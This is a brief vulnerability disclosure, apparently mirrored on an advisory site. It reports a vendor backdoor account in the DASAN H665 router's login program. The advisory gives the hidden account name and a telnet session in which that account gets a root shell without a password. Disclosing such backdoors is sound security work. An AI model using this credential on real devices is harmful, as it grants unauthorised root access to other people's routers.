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DASAN H665 Backdoor Account Vulnerability
DASAN H665 has vendor backdoor built into BusyBox /bin/login. Account
named "dnsekakf2$$" gives access to admin (uid 0) account over telnet
without any password, at least for administration interface documented
in H665 Quick Guide (subnet 192.168.55.0/24 on LAN interface).
$ telnet 192.168.55.1
Trying 192.168.55.1...
Connected to 192.168.55.1.
Escape character is '^]'.
tc login: dnsekakf2$$
# uname -a
Linux tc 2.6.36 #1 SMP Wed Jan 3 09:32:57 UTC 2018 mips unknown
# tail -n1 /data/log/messages
Feb 15 16:59:26 login[26929]: Try to connect using hidden account
For longer version visit:
https://blog.burghardt.pl/2019/02/dasan-h665-has-vendor-backdoor-built-into-busyboxs-bin-login/
BR,
--
Krzysztof Burghardt <[email protected]>
http://www.burghardt.pl/
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18 Feb 2019 00:00Current
0.8Low risk
Vulners AI Score0.8